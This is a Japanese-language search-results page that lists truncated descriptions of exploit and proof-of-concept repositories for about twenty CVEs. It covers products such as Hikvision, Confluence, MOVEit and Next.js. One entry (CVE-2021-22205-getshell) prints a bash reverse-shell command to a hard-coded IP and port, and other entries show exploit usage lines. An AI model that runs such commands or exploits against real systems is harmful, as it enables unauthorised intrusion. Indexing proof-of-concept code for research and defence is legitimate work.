553559 matches found
CVE-2021-36260-hikvision
CVE-2021-36260 CVE-2021-36260 POC は、一部のHikvision製品のWebサーバにおけるコマンドインジェクションの脆弱性です。入力検証が不十分なため、攻撃者は悪意のあるコマンドを含むメッセージを送信することで、コマンドインジェクション攻撃を仕掛けることができます。 エクスプロイトタイトル: Hikvision Web Server Build 210702 - コマンドインジェクション エクスプロイト作者: bashis -- shubtheone によるエラー更新 ベンダーホームページ: https://www.hikvision.com/ バージョン...
CVE-2020-1350-Fix
KB4569509: DNS サーバーの脆弱性 CVE-2020-1350 に関するガイダンス はじめに 2020 年 7 月 14 日に、Microsoft は CVE-2020-1350 | Windows DNS サーバーのリモート コード実行の脆弱性 に記載されている問題のセキュリティ更新プログラムをリリースしました。このアドバイザリは、DNS サーバーの役割を実行するように構成された Windows サーバーに影響を与える重大なリモート コード実行 RCE の脆弱性について説明しています。サーバー管理者には、できるだけ早くセキュリティ更新プログラムを適用することを強くお勧めしま...
CVE-2020-1048
CVE-2020-1048 CVE-2020-1048 PrintDemon の POC エクスプロイトコード 脆弱なシステム 以下のリンクに記載されているすべてのWindowsバージョンが脆弱です: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 再現手順 1. Source.c の先頭にある変数 gPortName と gInputFile を変更します。 2. Visual Studio を使用してコンパイルおよび実行します。 3. プリンターサービス spoolsv...
CVE-2025-55182
React2Shell Ultimate Scanner CVE-2025-55182 向けプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、CVE-2025-55182 向けの包括的な脆弱性スキャナーです。この脆弱性は、React Server Components RSC を使用する Next.js アプリケーションに影響を与えるクリティカルなリモートコード実行 RCE 脆弱性です。 TEMPLATE poc 🚀 クイックスタート root@kitploit: Execute command...
gosign-desktop-exploit-poc
GoSign Desktop の複数の脆弱性によりリモートコード実行が可能 名前: GoSign Desktop の TLS 検証バイパスと安全でない更新 CVE: CVE-2025-34324、CVE-2025-34327 影響を受けるシステム: GoSign Desktop = 2.4.0 修正: FoSign Desktop 2.4.1 部分的に修正 ベンダー: Tinexta InfoCert S.p.A. 深刻度: 高 8.2/10 CVSS 3.1: AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H アドバイザリ:...
Microsoft-CVE-2022-26809-The-Little-Boy
Microsoft-CVE-2022-26809-別名 The Little Boy - POC CVE-2022-26809 の RPC 経由 RCE の poc はここで更新されます。 現在、脆弱なコードの特定を進めており、最もシンプルなワンクリック RCE をここで公開します。...
CVE-2021-22205-getshell
CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...
CVE-2022-26134
CVE-2022-26134 PoC Confluence ServerおよびData Center - CVE-2022-26134 - 重大な深刻度の認証されていないリモートコード実行脆弱性 PoC 深刻度 Atlassianは、Atlassianの深刻度レベルに基づき、この脆弱性の深刻度をCriticalと評価しています。上記の修正バージョンより前のすべてのConfluence ServerおよびData Centerのバージョンが影響を受けます。 修正バージョン...
CVE-2023-34362
CVE-2023-34362: MOVEit Transfer の未認証 RCE 脆弱性とその悪用方法の詳細な技術説明については、AttackerKB 分析 をお読みください。 使用方法 root@kitploit: ruby CVE-2023-34362.rb 注: デシリアライゼーションガジェットは 'notepad.exe' を起動するように構成されています。 使用例 root@kitploit: ruby poc-cve-2023-34362.rb 192.168.86.111 + Starting. target='https://192.168.86.111'. +...
CVE-2022-24086-CVE-2022-24087
CVE-2022-24086-CVE-2022-24087 Picus Cyber Talent Academy Assignment のために私が書いた Magento および Adobe Commerce の RCE 脆弱性 CVE-2022-24086 および CVE-2022-24087 に関するブログ記事は、CVE-2022-24086&CVE-2022-24087.pdf にあります。...
CVE-2013-3214
CVE-2013-3214 vTiger 5.4.0 任意ファイルアップロードによるリモートコード実行...
cve-2019-14514
CVEID : CVE-2019-14514 影響を受ける製品とバージョン : Microvirt MEmu（7.0.2より前のすべてのバージョン） 問題タイプ : CWE-78: OSコマンドに使用される特殊要素の不適切な無害化（'OSコマンドインジェクション'） 概要 MEmuはWindows向けのAndroidエミュレータです。テスト中に、root権限でコード実行を得るために悪用される可能性のある開放されたTCPポートを発見しました。 Microvirt...
CVE-2025-55182-Exploit
CVE-2025-55182 – React Server Components RCE Exploit ⚠️ 免責事項: 許可を受けたセキュリティテストおよび研究目的のみに使用してください。明示的な許可なくシステムに対して使用しないでください。 概要 これはCVE-2025-55182 React Server Components リモートコード実行の脆弱性に対する改良版のエクスプロイトスクリプトです（修正済みマルチパート版）。 帰属と貢献者 このプロジェクトは、元の概念実証（PoC）を改変したものです。以下のセキュリティ研究者の貢献に感謝します。...
Havoc-C2-SSRF-to-RCE
Havoc-C2-SSRF-to-RCE これは、@chebuya による CVE-2024-41570 SSRF PoC を、@hyperreality による認証付きRCEエクスプロイトと連結した修正版です。このエクスプロイトは、Havoc C2 Framework. の複数の脆弱性により、対象に対してリモートでコードを実行します。 https://github.com/user-attachments/assets/b75c5934-0326-4994-a695-c18bf95a1e25 root@kitploit: usage: CVE-2024-41570.py -h -t...
CVE-2022-22954
CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI を介した RCE。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file...
POC_CVE-2025-14700
CVE-2025-14700 CVE-2025-14700 の PoC。Crafty Controller = 4.6.1 におけるサーバーサイドテンプレートインジェクション SSTI の脆弱性です。この脆弱性により、認証済みユーザーが Webhook 設定に悪意のある Jinja2 テンプレートを注入することで、リモートコード実行 RCE を達成できます。 📦 インストール root@kitploit: Clone the repository git clone https://github.com/secdongle/POCCVE-2025-14700 cd...
CVE-2016-2098-PoC
CVE-2016-10033-PoC これはPentesterLab用に書きました PentesterLabを利用しているなら、カンニングはしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば幸いです。将来の自分にとってもね : 対話型シェルと便利なargparse機能も備えています。 Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required:...
CVE-2016-10033-PoC
CVE-2016-10033-PoC PentesterLab用に書きました PentesterLabの関係者ならズルをしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば嬉しいです。役に立たなくても、将来の自分には役立つでしょう : インタラクティブシェル付き、便利なargparse機能もあり 使用方法 root@kitploit: usage: poc.py -h --target TARGET --backdoor BACKDOOR --proxy --raw --no-color options: -h, --help show this help message...
fastjson-tp1fn1
json.org CVE-2022-45688 真陽性 & 偽陽性（WTF ??） このプロジェクトには、CVE-2022-25845 の影響を受ける fastjson 依存関係が含まれています。 この脆弱性は、JSON内のマークアップがJava Beanとして解釈されることで発生します。つまり、クラスがインスタンス化され、セッターメソッドの実行によってプロパティが設定されます。これはリフレクションを使用して行われます。セッターがコード実行などの動作をトリガーできるクラスがクラスパスに存在する場合（例では、そのクラスは Trigger、対応する入力は CVE-2022-25845.jso...